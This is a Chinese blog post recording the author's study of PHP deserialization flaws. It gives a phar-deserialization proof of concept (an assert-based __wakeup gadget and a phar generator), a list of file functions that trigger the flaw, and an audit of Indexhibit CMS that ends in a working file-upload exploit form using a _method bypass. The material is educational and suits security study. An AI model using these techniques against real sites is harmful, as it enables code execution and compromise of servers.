php反序列学习
首页 > 学习    作者:Iamyc   2020年1月23日 11:23 星期四   热度:440°   百度已收录  
时间:2020-1-23 11:23   热度:440° 

反序列化在最近的面试被问到应该是算很大概率了

之前一直是零星的大概了解这么个过程,也没系统学习

最近两天打算系统学习下

一、序列化与反序列化

序列化我的理解就是把对象转成字符串,方便后面调用与传输

反序列化就是把序列化的字符串还原成对象

二、反序列化漏洞

序列化过程中会把对象名、属性保留,但是不会保留方法

这一点也是被称为安全的一个机制,所以,要利用反序列化漏洞

主要还是要靠魔术方法,当然,phar这个另外一个方面

魔术方法就是说在序列化和反序列化过程中会自动调用的方法

常见的如:

sleep:序列化对象之前调用

wakeup:反序列化对象之前调用

toString:输出字符串调用

construct:同构函数,创建对象时调用

destruct:析构函数,销毁对象时调用

所以,找反序列化漏洞时,除了找到可控序列化点外,还要找到魔术方法才能触发

另外一个phar的利用,也是利用php一些函数在执行特定函数时,如果引入phar内容

phar类似于java的jar文件

这时候会自动调用反序列化解析phar文件,从而执行特定phar里的代码

这里网上有例子,这里也复述一遍:

首先创建两个php文件:Evil.class.php、


<?php
class Evil{
    protected $val;
    function __construct($val){
    $this->val = $val;
}
function __wakeup(){
    assert($this->val);
}
}
?>


phar_gen.php


<?php 
require_once('Evil.class.php');
$exception = new Evil('phpinfo() ');
$phar = new Phar("vul.phar");
$phar->startBuffering();
$phar->addFromString("test.txt","test");
$phar->setStub("<?php__HALT_COMPILER();?>");
$phar->setMetadata($exception);
$phar->stopBuffering();
?>

所以上面就是Evil.class.php在反序列化时wakeup函数存在assert代码执行操作

然后用phar_gen.php生成一个test.txt(php.ini配置下phar.readonly = Off)

这时候用一个test.php测试

test.php:

<?php
require_once('Evil.class.php');
if(file_exists($_GET['y'])){
echo "yc";
}
?>
当GET型参数y传入时,file_exists会检测是否存在:


该函数会反序列化phar协议的内容,导致代码执行

所以这种漏洞的触发条件还是挺多的:

1.服务器上存在可控文件

2.服务器端引用了可以利用的魔术方法

3.文件操作函数的参数可控

导致phar反序列化的函数有如下:

fileatime|filectime|file_exists|file_get_contents|file_put_contents|file|filegroup|fopen|fileinode|filemtime|fileowner|fileperms|is_dir|is_executable|is_file|is_link|is_readable|is_writable|is_writeable|parse_ini_file|copy|unlink|stat|readfile


下面就是自己实践学习了:

github找cms,还是找了之前审计过的cms:indexhibits cms

先搜下unserialize


看起来还挺多的,先直接找了个变量开始追踪,花了大半下午发现可控序列化,结果发现反序列化了个变量?

才发现序列化的就是个变量,无语了,不是对象,那有什么用?貌似没用,难受。。。

不死心,又把反序列化的点看了下,主要是先序列化字符串然后存入数据库,再查询出来反序列化

所以确实是不可控的

那就审计审计其他的漏洞,在源码看到了upload

因为这些函数名都是page_*形式的,所以这个page_fileupload就是q参数为fileupload就可调用的函数



可以看到能调用的主要是get、post、delete三个

get函数看了下有些是系统默认设置什么的,好像有些全局变量,也没细看

delete函数就是一个删除函数,不过用了stripslashes过滤,做不到任意文件删除

post是能直接利用的,贴下代码




这里_method随便控制下就行,不然又会跳转调用delete函数

很明显的文件直接上传,构造个本地上传如下:

<html>
<head>
<meta charset="utf-8">
<title>upload</title>
</head>
<body>

<form action="http://192.168.1.100/ndxzstudio/?a=system&q=fileupload&_method=yc&param_name=yc" method="post" enctype="multipart/form-data">
    <label for="file">文件名:</label>
    <input type="file" name="files" id="files"><br>
    <input type="submit" name="submit" value="提交">
</form>

</body>
</html>


然后直接上传,不过这里需要登录后台,有权限控制,这个用我以前的重装漏洞就能进后台

当然,后来发现不一定需要管理员权限,任意用户权限都可以上传

ok,直接上传到files目录下了


二维码加载中...
本文作者:Iamyc      文章标题: php反序列学习
本文地址:http://lang-v.com/first_cms/yc/emlog/src/?post=133
版权声明:若无注明,本文皆为“YC's Blog”原创,转载请保留文章出处。

返回顶部    首页    手机版本    后花园  
版权所有:YC's Blog    站长: Iamyc    程序:emlog